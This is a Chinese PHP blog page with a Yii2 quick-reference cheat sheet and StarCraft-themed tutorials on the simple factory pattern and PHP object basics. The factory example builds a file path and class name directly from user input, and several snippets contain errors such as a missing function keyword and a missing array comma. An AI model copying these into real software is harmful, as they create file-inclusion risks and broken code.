安静
PHP技术博客

Yii2速查

张 清月阅读(19)

Composer

  • 基本用法

  • 安装yii程序

composer create-project --prefer-dist yiisoft/yii2-app-basic basic
  • 通过composer.json安装扩展
composer install
  • 更新本地composer扩展库
composer update
  • 直接安装某个composer扩展
composer require [options] [--] [vendor/packages]...

DAO

  • Yii的数据库读取对象,在PDO之上,DAO后有了Query Builder和AR

  • 基本使用方法

  • 获得数据库连接

$conn = Yii::$app->db;
  • 执行数据库查询语句
Yii::$app->db->createCommand("SELECT * FROM `user`");
Yii::$app->db->createCommand("SELECT * FROM `user` WHERE uid=:uid",[":uid"=>1]);
Yii::$app->db->createCommand("SELECT * FROM `user` WHERE uid=:uid")->addValue([":uid"=>1]);
  • SQL语句插入数据
Yii::$app->db
->createCommand('INSERT INTO user (email, password) VALUES("test3@example.com", "test3");')->execute();
  • 数组形式插入数据
Yii::$app->db->createCommand()->insert('user', [
    'email' => 'test4@example.com',
    'password' => 'changeme7',
    'first_name' => 'Test'
])->execute();
  • 批量插入数据
Yii::$app->db->createCommand()->batchInsert('user', ['email', 'password', 'first_name'],
[
['james.franklin@example.com', 'changeme7', 'James'],
['linda.marks@example.com', 'changeme7', 'Linda']
['roger.martin@example.com', 'changeme7']
])->execute();
  • 更新数据
Yii::$app->db->createCommand()->update('user', ['updated_at' => time()], 'id = 2')->execute();
  • 删除数据
Yii::$app->db->createCommand()->delete('user', 'id = 3')->execute();
  • 获取结果方法

  • 获取所有数据(数组形式返回)

Yii::$app->db->createCommand("SELECT * FROM `user`")->queryAll();
  • 获取一条数据(一维数组)
Yii::$app->db->createCommand("SELECT * FROM `user` WHERE id = 1")->queryOne();
  • 获取一个值
Yii::$app->db->createCommand("SELECT count(*) AS total FROM `user` WHERE id = 1")->queryScalar();
  • 获取某一列(放到一位数组中)
Yii::$app->db->createCommand("SELECT username FROM `user`")->queryColumn();

Logging

  • 日志功能

  • 配置Log

  • 基本用法

  • trace

    Yii::trace($message,$category)

  • info

    Yii::info($message,$category)

  • warning

Yii::warning($message,$category)
  • error
Yii::error($message,$category)

Validator

  • 数据验证,最常用于模型的rules()函数

  • 方法列表(Model中rules函数)

  • required 必须值

["username",'required']
[["username","email"],'required']
[["username"],'required',"message"=>"{attribute}必须填写"]
[["username"],'required','requiredValue'=>"abei"] // 用户填写的值必须等于requiredValue才能通过验证。
  • Email验证
["email",'email']
[["email","work_email"],'email']
  • Boolean验证
['sex', 'boolean', 'trueValue' => true, 'falseValue' => false, 'strict' => true];// 可以认为置顶 true / false 值。
  • captcha验证码
['verificationCode', 'captcha'];
  • compare比较
['username', 'compare', 'compareAttribute' => 'province','message'=>'username和province必须一样'] //错误信息将提示给username
['age', 'compare', 'compareValue' => 30, 'operator' => '>=','type' => 'number'];//compareValue:比较常量值 operator:比较操作符 type为值类型,默认为string,会一个每个字符对比,若为number则直接判断数值
// operator 待选值==、===、!=、!==、>、>=、<、<=
  • date验证
["birth","date","format"=>"Y-m-d"]
  • default验证
['age','default','value'=>null] // 当age为空的时候设置为null
['country','default','value'=>'USA'] // 当 country为空时设置为USA
/* 如果from为空,则=今天+3天,如果to为空,则=今天+6天 */
[['from','to'],'default','value'=>function($model,$attribute){
    return date('Y-m-d', strtotime($attribute === 'to' ? '+3 days' : '+6 days'));
}]
  • double/number验证
['v','double'] // 判断v是否为数字
['v','double','max'=>90,'min'=>1]//判断v是否为数字且大于等于1、小于等于90
数组各元素验证

/* 要求验证的元素必须为数组,否则会返回假并报错 */
["categoryIds","each","rule"=>['integer']]
  • exist是否存在验证
/* 所谓对存在的检查实质为where的与操作,必须同时瞒住的记录存在方可。兄弟们可以研究下,exist是对sql语句EXISTS的应用*/
["username","exist"] // username输入的值已经存在
["username","exist","targetAttribute"=>"province"] // username的输入值必须在province列存在
["username","exist",'targetAttribute' => ['username', 'province']] // username的输入值必须在username和province中存在
[["username","province"],"exist",'targetAttribute' => ['username', 'province']] // username和province的输入值必须在username和province中存在
  • file验证
/* maxFiles代表一次最多传几个,mimeTypes代表上传文件类型 */
['primaryImage', 'file', 'extensions' => ['png', 'jpg', 'gif'],'mimeTypes'=>["image/*"], 'maxSize' => 1024*1024,'minSize'=>100*1024,'maxFiles'=>6,'checkExtensionByMimeType'=>true],
  • filter过滤验证函数
[['username', 'email'], 'filter', 'filter' => 'trim', 'skipOnArray' => true],
['phone', 'filter', 'filter' => function ($value) {
        // normalize phone input here
        return $value;
}],
  • image验证
/* 上传png/jpg格式,最大宽度不能超过1000px,最小宽度不能低于100px,最大高度不能高于1000px。最小高度不能低于100px */
['primaryImage', 'image', 'extensions' => 'png, jpg','minWidth' => 100, 'maxWidth' => 1000,'minHeight' => 100, 'maxHeight' => 1000]
  • ip验证
["ip_addess","ip"]
  • in方法验证
["level","in","range"=>[1,2,3]]
  • integer验证
["age",'integer'];
["age","integer","max"=>90,"min"=>1]
  • 正则匹配验证
["username","match","pattern"=>"/^[a-z]\w*$/i"]
  • safe验证(多用于设置一个model的attribute)
["description","safe"]
string验证

["username","string","length"=>[4,24]];
["username","string","min"=>4];
["username","string","max"=>32];
["username","string","encoding"=>"UTF-8"];
  • unique唯一验证
["username","unique"]
["username","unique","targetAttribute"=>"province"]
  • url验证
["website","url"]
["website","url","validSchemes"=>["http","https"]]

String

  • 字符串

  • 基础用法

  • 一个字符串中单词数量

StringHelper::countWords("hello world");//2
  • 返回路径中的文件名部分
StringHelper::basename("/path/hello.txt",".txt"); // hello
  • 返回路径中的目录名
StringHelper::dirname("/home/path/hello.txt");// /home/path
  • 超出内容用…代替(不含HTML)
StringHelper::truncate("hello world",7,'...'); //hello w...
  • 超出内容用…代替(识别HTML)
StringHelper::truncate("hello world",7,'...',null,true);//hello w...
  • 以单词为单位超出部分用..代替(不解析HTML)
StringHelper::truncateWords('This is a test sentance', 4, '...') //This is a test ...
  • 以单词为单位超出部分用..代替(解析HTML)
StringHelper::truncateWords('This is a test for a sentance', 5, '...',true) //This is a test for...
  • 一个字符串是否以另一个字符串开始
StringHelper::startsWith("hello world","he");//true
  • 一个字符串是否以另一个字符串结尾
StringHelper::endsWith("hello world","ald");//false
  • 按照分隔符分隔字符串为数组
StringHelper::explode('It, is, a first, test'));//['It','is','a first','test']
StringHelper::explode("a@b@c","@");['a','b','c']
StringHelper::explode("a, b ,c ");['a','b','c']

Session&Cookie

  • Session被封装成一个应用组件,直接通过Yii::$app->session来访问;Cookie通过Request和Response来操作。

  • Session

  • 获得session

$session = Yii::$app->session;
  • 检查session是否开启
Yii::$app->session->isActive
  • 开启一个session
Yii::$app->session->open()
  • 关闭session
Yii::$app->session->close();
  • 销毁session中所有已注册的数据
Yii::$app->session->destroy();
  • 访问一个session
/* 以下三种方法效果等同 */
$language = $session->get('language');
$language = $session['language'];
$language = isset($_SESSION['language']) ? $_SESSION['language'] : null;
  • 设置一个session
/* 以下三种方法效果等同 */
$session->set('language', 'en-US');
$session['language'] = 'en-US';
$_SESSION['language'] = 'en-US';
  • 删除一个session变量
/* 下面三种方法效果等同 */
$session->remove('language');
unset($session['language']);
unset($_SESSION['language']);
  • 检查一个session变量是否存在
/* 以下三种方法效果一致 */
if ($session->has('language')) ...
if (isset($session['language'])) ...
if (isset($_SESSION['language'])) ...
  • Cookie

  • 获取cookie

$cookies = Yii::$app->request->cookies;

设置cookie

$cookies = Yii::$app->response->cookies;
  • 获取一个cookie值
$language = $cookies->getValue('language', 'en');// 如果获取language失败,则返回"en"代替
  • 另一种获取cookie值方法
if (($cookie = $cookies->get('language')) !== null) {
    $language = $cookie->value;
}
  • 数组方式获取cookie值
if (isset($cookies['language'])) {
    $language = $cookies['language']->value;
}
  • 检查一个cookie是否存在
if ($cookies->has('language')) ...
if (isset($cookies['language'])) ...
  • 新增一个cookie
$cookies->add(new \yii\web\Cookie([
    'name' => 'language',
    'value' => 'zh-CN',
]));
  • 删除一个cookie
$cookies->remove('language');
unset($cookies['language']);

Request

Request 被配置为一个应用组件,我们可以通过Yii::$app->request访问它。

  • URL相关

  • 获得当前请求的绝对url

Yii::$app->request->getAbsoluteUrl();
  • 返回一个请求URL的hostInfo部分
Yii::$app->request->getHostInfo();
  • 获得URL问号后的参数字符串
Yii::$app->request->getQueryString()
  • 返回服务器端口
Yii::$app->request->getServerPort();
  • HTTP头

  • 返回用户接受的内容类型

Yii::$app->request-> getAcceptableContentTypes ();// Header Accept
  • 返回用户可接受的语言
Yii::$app->request-> getAcceptableLanguages(); // Header Accept-Language
  • 返回GET/POST请求
Yii::$app->request->get();
Yii::$app->request->get("id");
Yii::$app->request->POST();
Yii::$app->request->POST("username");
  • 判断请求类型(返回boolean)
Yii::$app->request->isAjax // 判断是否为ajax请求
Yii::$app->request->isConsoleRequest // 判断是否为控制发起的请求
Yii::$app->request->isDelete // 判断是否为DELETE请求
Yii::$app->request->isGet // 判断是否为GET请求
Yii::$app->request->isPost // 判断是否为POST请求
Yii::$app->request->isPjax // 判断是否为isPjax请求
  • 客户端信息

  • 返回用户的 IP

Yii::$app->request->getUserIP();

Response

和Request一样,Response被封装成Yii的一个组件,你可以通过Yii::$app->response轻松的访问它。

  • Status Code状态码

  • 设置一个Status Code

Yii::$app->response->statusCode = 200;
  • Yii内置的通过异常形式返回状态码
yii\web\BadRequestHttpException: status code 400.
yii\web\ConflictHttpException: status code 409.
yii\web\ForbiddenHttpException: status code 403.
yii\web\GoneHttpException: status code 410.
yii\web\MethodNotAllowedHttpException: status code 405.
yii\web\NotAcceptableHttpException: status code 406.
yii\web\NotFoundHttpException: status code 404.
yii\web\ServerErrorHttpException: status code 500.
yii\web\TooManyRequestsHttpException: status code 429.
yii\web\UnauthorizedHttpException: status code 401.
yii\web\UnsupportedMediaTypeHttpException: status code 415.
  • 抛出其他Status Code
throw new \yii\web\HttpException(402); // 如果系统没有,可以通过HttpException自己写状态码
throw new \yii\web\HttpException(402,"message");
HTTP Headers
  • 添加设置删除Http Headers内容
$headers = Yii::$app->response->headers;
// add a Pragma header. Existing Pragma headers will NOT be overwritten.
$headers->add('Pragma', 'no-cache');
// set a Pragma header. Any existing Pragma headers will be discarded.
$headers->set('Pragma', 'no-cache');
// remove Pragma header(s) and return the removed Pragma header values in an array
$values = $headers->remove('Pragma');
  • Response Body

  • 相应主体

Yii::$app->response->content = 'hello world!';

Controller

  • 控制器,可在action内直接用$this调用。

  • 视图相关

  • 渲染一个视图(如果布局有效则使用布局)

$this->render('index',['model'=>$model])
  • 渲染视图(不使用布局)
$this->renderPartial('index',['model'=>$model])
  • 渲染视图(不使用布局)
// 注入所有注册的JS/CSS脚本和文件,通常使用在响应AJAX网页请求的情况下
$this->renderAjax('index',['model'=>$model])
  • 只渲染布局
$this->renderContent($content);

ActiveForm

  • 重点!列出最常用的ActiveForm方法。

  • 常用方法

  • 取消客户端规则验证

$form = ActiveForm::begin([
'enableClientValidation'=>false
]);
  • 取消yii.js的引入
$form = ActiveForm::begin([
'enableClientScript'=>false
]);
  • 表单目标地址设置

$form = ActiveForm::begin([
"action"=>$url 
])
  • GET & POST 方法设置
$form = ActiveForm::begin([
"method"=>"POST"
]);
  • 设置Form的类及自己定义标签属性
$form = ActiveForm::begin([
'options'=>["class"=>"f","data-name"=>"xxx"]
]);
  • 生成文本框
$form->field($model, 'date')->textInput(["key"=>"value"]);
  • 生成文本域
$form->field($model, 'date')->textarea(["key"=>"value"]);
  • 单选列表
$form->field($model,'sex')->radioList($arr,["key"=>"value"]);
  • 密码框
$form->field($model,"password")->passwordInput();
  • 复选框
$form->field($model,"city_id")->checkboxList($arr);
  • 文件上传
$form->field($model,"image")->fileInput();
  • 隐藏域
$form->field($model,"name")->hiddenInput();

FileHelper

  • 几个常用也好用的文件帮助方法

  • 基本方法

  • 遍历一个文件夹下文件&子文件夹

FileHelper::findFiles('/path/to/search/');
FileHelper::findFiles('.', ['only' => ['*.php', '*.txt']]); // 只返回php和txt文件
FileHelper::findFiles('.', ['except' => ['*.php', '*.txt']]); // 排除php和txt文件
  • 获得指定文件的MIME类型
FileHelper::getMimeType('/path/to/img.jpeg');
  • 复制文件夹
FileHelper::copyDirectory($src, $dst, $options = [])
  • 删除一个目录及内容
FileHelper::removeDirectory($dir, $options = [])
  • 生成一个文件夹(同时设置权限)
FileHelper::createDirectory($path, $mode = 0775, $recursive = true)

UploadedFile

  • 上传文件帮助类

  • 基本函数

  • 通过模型的属性获取一个文件

$file = UploadedFile::getInstance($model,'avatar')
  • 通过模型的属性来获取一组文件
$files = UploadedFile::getInstances($model,'avatar')
//view $form->field($model,'avatar[]')->fileInput()
  • 通过名字上传一个文件
$file = UploadedFile::getInstanceByName('avatar');
  • 通过名字获取一组上传的文件
$file = UploadedFile::getInstancesByName('avatar');
// view Html::fileInput('avatar[]')
  • 保存一个文件
$file->saveAs(Yii::getAlias("@webroot").'/data/test.jpg');
  • 获取上传文件原始名(不含扩展名)
$file->getBaseName();//test.jpg ===> test
  • 获取上传文件的扩展名(已经自动格式化为小写)
$file->getExtension();// 是png、不是image/png
  • 变量说明

  • 获取文件的原始名

$file->name;//test.jpg
  • 获取文件媒体类型
$file->type;// image/png
  • 获取文件临时名
$file->tempName;
  • 获取文件大小
$file->size;// 21744

Html

  • 通过Html类的一些静态方法生成Html标签。

  • 生成Html标签方法

  • 生成一个超级链接

Html::a('链接的文本', $url);
  • 通过Yii2的路由生成一个链接
Html::a('链接文本', Url::to(['/site/index'], true));
Html::a('链接文本', Yii::$app->urlManager->createUrl(['/site/index']));
  • 生成一个图片链接
Html::img("/images/logo.png",['class'=>'img']);
  • 生成一个按钮
Html::button("按钮文本",['class'=>'button-action']);
  • 发送邮件链接
Html::mailto("阿北",'abei@nai8.me',$options);
  • 生成有序列表
$list = ['china','usa'];
Html::ol($list);
  • 生成无需列表
$list = ['china','usa','japan'];
Html::ul($list);
  • 生成javascript代码
Html::script("alert('hello world');")
  • 生成style代码
Html::style("color:#F60");
Html::style(".list {background:#FFF;}");
  • 文件引用及编码

  • 生成一个css引用链接

Html::cssFile("http://baidu.com/style.css",[]);
  • 生成一个js文件引用
Html::jsFile($url,[]);
  • 把字符 "<" (小于)和 ">" (大于)转换为HTML实体
Html::encode($html);
  • 将特色的HTML实体转化为>和<
Html::decode($string);

Alias

  • 定义和使用

  • 定义一个别名

Yii::setAlias('@baidu', 'http://www.baidu.com');
  • 获得一个别名
Yii::getAlias($name);
  • 获得Yii框架所在的目录
Yii::getAlias('@yii')
  • 正在运行的应用的根目录
Yii::getAlias('@app')
  • Composer第三方库所在目录
Yii::getAlias("@vendor")
  • bower库所在位置
Yii::getAlias("@bower");
  • npm库所在位置
Yii::getAlias("@npm");
  • 运行时存放文件路径
Yii::getAlias("@runtime");
  • index.php所在目录
Yii::getAlias("@webroot");
  • 当前应用的根URL,主要用于前端。
Yii::getAlias("@web");
  • 高级版-通用文件夹
Yii::getAlias("@common");
  • 高级版-前台应用所在位置
Yii::getAlias("@frontend");
  • 高级版-后台应用所在位置
Yii::getAlias("@backend");
  • 命令行库所在位置
Yii::getAlias("@console");

Query Builder

  • 主要解决DAO在查询语句上的繁琐问题,无需输入原生SQL语句就可以完成数据库检索。

  • 基本用法

  • 使用Query Builder需要使用的类


$query = (new \yii\db\Query()); // yii2使用Query对象来采集SQL的各个部分,然后由Query Builder组成SQL语句后由DAO发给数据库获得请求。
  • SELECT方法
$query->select("id,username");// 字符串形式
$query->select(['id','username']); // 数组形式
$query->select(["userId"=>"id","fName"=>"user.frist_name"]); // 起别名
$query->select(["full_name"=>"CONCAT(id,'-',username)"]); // 支持MYSQL函数
  • FROM方法
$query->from("user"); // 字符串形式
$query->from(["u"=>"user"]); // 数据表别名
  • 过滤掉重复记录
$query->select("username")->distinct()->from("user"); // distinct
  • WHERE函数用法
/* 传递字符串 */
$query->where("id = 1");
$query->where("id = :id")->addParams([":id"=>1]);
$query->where("id = :id",[":id"=>1]);


/* 传递数组 */
$query->where(["username"=>"abei","age"=>[20,19,26]])->from("user");// select * from user where username="abei" AND age in (20,19,26)

/* 操作符 */
$query->where([">","id",10]);// id > 10
$query->where(["<","id",10]); // id < 10
$query->where(["<>","id",10]); // id <> 10
$query->where(["in","id",[10,12]]);// id in (10,20)
$query->where(["not in","id",[10,12]]);// id not in (10,20)
$query->where(["and","id=1","id=2"]); id=1 AND id=2
$query->where(['or', ['type' => [7, 8, 9]], ['id' => [1, 2, 3]]]); // (type IN (7, 8, 9) OR (id IN (1, 2, 3)))
$query->where(["between", 'id', 1, 10]);// id between 1 AND 10
$query->where(["not",["id"=>5]]);// not (id=5)
$query->where(["not between","id",1,10]);// id not between 1 AND 10
$query->where(["like","username","abei"]); // username like "%abei%"
$query->where([['like', 'username', ['abei', 'liuhuan']]]); // username like "%abei%" AND username like "%liuhuan%"
$query->where(['like', 'username', '%abei', false]); // username like "%abei"
$query->where(["or like", 'username', ['abei', 'liuhuan']]);// username like "%abei%" OR username like "%liuhuan%",
  • 只作用于范围为数组的形式
$query->where(["not like",xxxxx]);// 与``like用法一致
$query->where(["or not like",xxx])// 与not like用法一致
  • 一个要单独说明的exists
/* EXISTS用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,而是返回值True或False */
$query->where(['exists', (new Query())->select('id')->from('user')->where(['id' => 1])]);
  • ORDER BY 方法
$query->orderBy("id DESC");
$query->orderBy(["id"=>SORT_DESC]);
$query->orderBy(["id"=>SORT_DESC,'create_time'=>SORT_ASC]);
GROUP BY && HAVING

$query->groupBy(["username"]);
$query->groupBy(["id"])->having([">",'id',20]);
  • 获取生成的SQL语句
$query->createCommand()->sql;
  • 获得查询结果

  • 获取所有结果

$query->all();// 二位数组
  • 获取一条记录
$query->one();
  • 检查一个数据库中是否含有某个表
(new \yii\db\Query)->from('user')->exists();
  • 获取count
$query->count();
  • 获取一个值
$query->scalar();
  • 获取一列值
$query->column();// 一位数组
  • 一个例子

  • 获取一个user表的内容

$query = new \yii\db\Query;
$query->from("user");
$query->select(["fname"=>"username"]);
$query->where([">",'id',10]);
$query->all();

Migrate

  • 数据库迁移工具

  • 基本方法

  • 生成一个迁移文件

./yii migrate/create script_name // script_name为脚本名字(需要英文格式)
  • 执行所有没有迁移的脚本
./yii migrate
./yii migrate/up
  • 执行置顶的迁移
./yii migrate/up 脚本名 // 不用含有扩展名

Asset Management

  • Asset资源管理

  • 常用参数

  • 类属性说明

$basePath // 资源文件所在的web服务器目录路径,一般为@webroot
$baseUrl // js和css文件相对url基地址
$css // asset bundle 所包含的css文件数组
$cssOptions // 对link标签的属性控制
$js // asset bundle 所包含的js文件数组
$jsOptions // 对script标签的属性控制
$publishOptions // 发布操作
$sourcePath // 当资源网络不可以访问,则必须指定此目录。
  • 关键参数

  • 去掉浏览器缓存

'appendTimestamp' => true // 在web.php里的components - assetManager
  • 发布资源筛选
public $publishOptions = [
    'only' => [
        'fonts/*',
        'css/*',
        'test.js'
    ],
    'except'=>[
        'img'
    ],

]; 
  • js文件在页面的位置
public $jsOptions = ['position' => \yii\web\View::POS_HEAD];//js文件发布到head标签内
public $jsOptions = ['position' => \yii\web\View::POS_END];//js文件发布到body标签底部
public $jsOptions = ['position' => \yii\web\View::POS_BEGIN];//js文件放到body标签开始处
  • 浏览器兼容问题
public $cssOptions = ['condition' => 'IE 11'];// 代表兼容ie11
  • 是否使用符号链接
'linkAssets' => true // 在web.php里的components - assetManager
  • 配置yii自身的asset资源
// 在web.php里的components - assetManager,配置自定义的也可以
'bundles' =>  [
    'yii/web/YiiAsset'=>[
        'js'=>[],
        ......
    ]
]

Event

  • 有关事件的所有,系统自带事件通通给你。

  • Application # 应用主体

  • 应用处理请求before之前触发

Application::EVENT_BEFORE_REQUEST
  • 应用处理请求before之后触发
Application::EVENT_AFTER_REQUEST
  • Controller # 控制器

  • 在每个Action运行之前触发

Controller::EVENT_BEFORE_ACTION
  • 在每个Action运行之后触发
Controller::EVENT_AFTER_ACTION
  • Model # 模型

  • 在验证Model属性之前触发

Model::EVENT_BEFORE_VALIDATE
  • 在验证Model属性之后触发
Model::EVENT_AFTER_VALIDATE
  • Module # 模块

  • 一个模块的Action运行前触发

Module::EVENT_BEFORE_ACTION
  • 一个模块的Action运行后触发
Module::EVENT_AFTER_ACTION
  • View # 视图

  • 执行视图的beforePage时触发

View::EVENT_BEGIN_PAGE
  • 执行视图的endPage函数时触发
View::EVENT_END_PAGE
  • 在renderFile渲染一个视图文件之前触发
View::EVENT_BEFORE_RENDER
  • 在renderFile渲染一个视图文件之后触发
View::EVENT_AFTER_RENDER
  • 执行视图的beginBody函数时触发
View::EVENT_BEGIN_BODY
  • 执行视图的endBody函数时触发
View::EVENT_END_BODY
  • Widget # 挂件

  • Widget初始化时触发

Widget::EVENT_INIT
  • Widget执行前触发
Widget::EVENT_BEFORE_RUN
  • Widget执行之后触发
Widget::EVENT_AFTER_RUN
  • ActiveQuery

  • 由ActiveQuery的init函数触发

ActiveQuery::EVENT_INIT
BaseActiveRecord & ActiveRecord # 这也许是内置事件中最重要的一批了。
  • AR对象被初始化init时触发
BaseActiveRecord::EVENT_INIT
  • AR执行查询结束时触发
BaseActiveRecord::EVENT_AFTER_FIND
  • 插入结束时触发
BaseActiveRecord::EVENT_BEFORE_INSERT
  • 插入之后触发
BaseActiveRecord::EVENT_AFTER_INSERT
  • 更新记录之前触发
BaseActiveRecord::EVENT_BEFORE_UPDATE
  • 更新记录之后触发
BaseActiveRecord::EVENT_AFTER_UPDATE
  • 删除记录之前触发
BaseActiveRecord::EVENT_BEFORE_DELETE
  • 删除记录之后触发
BaseActiveRecord::EVENT_AFTER_DELETE

在数据refresh成功之后触发

BaseActiveRecord::EVENT_AFTER_REFRESH
  • Connection # 数据库连接

  • 数据库连接被打开后触发

Connection::EVENT_AFTER_OPEN
  • 事务被启动时触发
Connection::EVENT_BEGIN_TRANSACTION
  • 事务被提交后触发
Connection::EVENT_COMMIT_TRANSACTION
  • 事务回滚后触发
Connection::EVENT_ROLLBACK_TRANSACTION
  • Response # Http响应

  • Response响应发送之前触发

Response::EVENT_BEFORE_SEND
  • Response响应发送之后触发
Response::EVENT_AFTER_SEND
  • Response响应内容准备好之后触发
Response::EVENT_AFTER_PREPARE
  • User # 会员登陆授权

  • 登陆之前触发

User::EVENT_BEFORE_LOGIN
  • 登陆之后触发
User::EVENT_AFTER_LOGIN
  • 注销之前触发
User::EVENT_BEFORE_LOGOUT
  • 注销之后触发
User::EVENT_AFTER_LOGOUT

Route&UrlManager

  • 路由管理
  • 配置项
  • URL美化配置
// conf/web.php
'urlManager' => [
    'enablePrettyUrl' => true,
    'showScriptName' => false,
    'suffix'=>'.html',// 统一后缀名,若不需要则无需配置
    'enableStrictParsing'=>false,//默认为false,是否采用严格解析
    'rules' => [
    ],        
]
  • Apache开启url重写方法
// Apache需要支持url重写其AllowOverride为all
AllowOverride:all

//web目录下增加.htaccess,隐藏index.php文件 内容如下
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php
  • Nginx支持url重写
location / {
    if (!-e $request_filename){
        rewrite ^/(.*) /index.php last;
    }
}
  • Apache开启url重写方法2
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)\?*$ index.php/$1 [L,QSA]

RESTful

  • APIs # 内置的API

  • 分页获得所有的会员

GET /users
GET /users?page=2
GET /users?fields=id,username,created_at
GET /users?sort=id,-username
  • HTTP状态码
200: OK。一切正常。
201: 响应 POST 请求时成功创建一个资源。Location header 包含的URL指向新创建的资源。
204: 该请求被成功处理,响应不包含正文内容 (类似 DELETE 请求)。
304: 资源没有被修改。可以使用缓存的版本。
400: 错误的请求。可能通过用户方面的多种原因引起的,例如在请求体内有无效的JSON 数据,无效的操作参数,等等。
401: 验证失败。
403: 已经经过身份验证的用户不允许访问指定的 API 末端。
404: 所请求的资源不存在。
405: 不被允许的方法。 请检查 Allow header 允许的HTTP方法。
415: 不支持的媒体类型。 所请求的内容类型或版本号是无效的。
422: 数据验证失败 (例如,响应一个 POST 请求)。 请检查响应体内详细的错误消息。
429: 请求过多。 由于限速请求被拒绝。
500: 内部服务器错误。 这可能是由于内部程序错误引起的。

用星际学习PHP设计模式-简单工厂模式

张 清月阅读(9)

上次用星际争霸讨论了面向对象的基础知识,似乎面向对象能解决很多问题。

但是还会有很多问题,简单的靠类和对象解决不得太好。

比如如何根据玩家输入的内容(尽管可以转化为其他字符串),来确定要制造的兵种,玩家不会输入代码:new Marine()。

和星际一样,PHP也没有终极兵种,如果类和接口是兵种的话,那么设计模式就是你的战术和控制,它可以让你靠各种兵种的搭配获胜。

待解决的问题:在人族的兵营,我们靠相应玩家的输入来动态确定要造的兵种,假设是机枪兵和火焰兵。

思路:动态的根据传递的数据,新建相应的类的对象。

简单工厂模式示例:

我们把机枪兵类的代码放入一个文件,Marine.php,它的代码如下:

<?php

class Marine {

    //机枪兵攻击的方法

  public function attack()

  {

    echo 'Marine attack';

  }

}

?>

我们把火焰兵类的代码放入一个文件,Firebat.php,它的代码如下:

<?php

class Firebat {

    //火焰兵攻击的方法

  public function attack()

  {

    echo 'Firebat attack';

  }

}

?>

主文件中的内容如下:

<?php

//兵种制造器的类

class BarracksCreator {

    //制造兵种的方法

  public create($createWhat)

  {

   //根据输入的参数,动态的把需要的类的定义文件载入

    require_once($createWhat.'.php');

   //根据输入的参数,动态的返回需要的类的对象

    return new $createWhat;

  }

}

//新建一个兵种制造器对象

$creator = new BarracksCreator();

//靠接收参数制造一个火焰兵对象

$troop1 = $creator->create('Marine');

$troop1->attack();

 

//靠接收参数制造一个机枪兵对象

$troop2 = $creator->create('Firebat');

$troop2->attack();

?>

用途总结:简单工厂模式可以将新建对象的任务进行封装,一旦需要增加新的返回类,只要修改负责新建对象的那部分代码。

实现总结:需要一个自动根据参数返回新建对象的工厂,比如上面兵种制造器BarracksCreator,使用的时候只需要将参数传递给他的生产方法create(),无需考虑具体的生产细节。

PHP面向对象编程[星际争霸快速入门]

张 清月阅读(7)

前言

面向对象博大精深,对于从未接触过得的人,会觉得一头雾水。

学习的资料很多,但大多比较抽象,所以我用经典的游戏-星际争霸来讨论PHP面向对象。

现在假设我们来用PHP开发星际争霸,从而接触PHP面向对象。

注意,为了便于学习,除了特殊说明,否则各部分代码之间没有关联。而且同一件事情往往用的是不同的代码。

另外我也不去考证各个兵种的属性数字,仅仅用来说明。

一、类和对象

如果玩家制造了一个机枪兵,那么我们怎么表示他呢,因为每个机枪兵有几个基本的数据要记录:剩余的血,杀敌数量,攻击力等等。

我们可以用一个数组来记录一个机枪兵剩余的血和杀敌数量,因为这对于每个机枪兵是独立的。

但攻击力比较麻烦,因为经过升级,攻击力会增加,这就必须要找出所有表示机枪兵的数组,然后进行修改,非常麻烦。

从这里我们可以看出一件事情,首先每个机枪兵有独立的数据需要记录和修改,比如剩余的血。同时他们有相同的数据需要共用,比如攻击力。

这时候面向对象就能帮上我们的忙了。

1.1、类的定义

我们先来处理一部分问题,也就是每个机枪兵独有的数据。

class marine

{

   public $blood = 50; //剩余的血

   public $kills = 0; //杀敌数量

   //这个函数(通常叫做方法)表示攻击敌人时候的运行代码
   function attack($enemy)

   {

   //攻击敌人的代码

   }

}

这叫做类,我们建立了一个表示所有机枪兵的类marine,这里面保留了需要每个兵独有的数据,比如上面代码里的剩余的血。

1.2、对象的创建和使用

接下来我们来使用对象,也就是每个机枪兵:

$m1 = new marine();

通过new后面加一个类的名字和括号,我们新建了一个机枪兵\(m1,\)m1被叫做类marine的对象,我们可以把它想象成一个特殊变量,只不过里面保存了多个数据。

如果需要使用或者操作某个机枪兵的血(对象的属性),只要用$m1->blood来表示就可以了:

echo $m1->blood;//输出机枪兵$m1剩余的血

我们再建立一个机枪兵

$m2 = new marine();

如果此时\(m1被敌人攻击过了,还剩下10个血。而\)m2没受过攻击:

echo $m1->blood;//结果是10

echo $m2->blood;//结果是50

使用对象可以很简单的保存每个机枪兵的血,不会互相影响。

如果机枪兵$m1攻击敌人的时候,可以这样使用对象
的方法:

$m1->attack($z1);//假设攻击的是某个小狗的对象$z1

不同的类内可以用同名的函数,比如小狗的类Zergling里面也可以有一个函数attack

要注意的是,从PHP5开始,无论在哪里改变一个对象的属性,都能改变它。比如上面一个小狗对象被作为参数传入机枪兵的attack函数,执行函数之后这个小狗对象的血减少了,这和一般的函数不同。但这是很直观的,如果一个小狗被攻击了,它的血就应该减少。

二、构造函数和析构函数

每次我们新建一个机枪兵的时候,总人口应该加1,如果一个机枪兵被杀,人口应该减少1。

可以通过构造函数和析构函数来自动处理:

class marine

{

   //构造函数
   function __construct()

   {

   //增加总人口的代码

   }

   //析构函数
   function __destruct()

   {

   //减少总人口的代码

   }

}

在一个类中,名字为__construct的函数叫做构造函数,每次new新建一个类的对象的时候就会执行:

$m1 = new marine();//每次制造一个机枪兵时系统会调用类marine的构造函数,自动增加总人口

在一个类中,名字为__destruct的函数叫做析构函数,每次销毁一个类的对象的时候就会执行:

unset($m1);//unset可以用于对象,表示销毁一个对象。每次一个机枪兵被杀时系统会调用类marine的析构函数,自动减少总人口

三、静态

机枪兵的攻击力是属于所有机枪兵对象,每个机枪兵的攻击力都是一样的,如果升级,应该一起变化。

这就用到static,表示静态:

class marine

{

static $attackNumber = 10; //攻击力的数字

   //这个函数表示攻击敌人时候的运行代码
   function attack($enemy)

   {

   //攻击敌人的代码,$enemy->blood表示敌人对象的血属性

   $enemy->blood -= self::$attackNumber;

   }

}

静态属性表示类所有的对象都共享的属性,一旦改变,所有的对象都跟着变化。

静态属性用static开头,比如上面的static $attackNumber。

静态属性可以用类直接访问:

echo marine::$attackNumber;//显示10

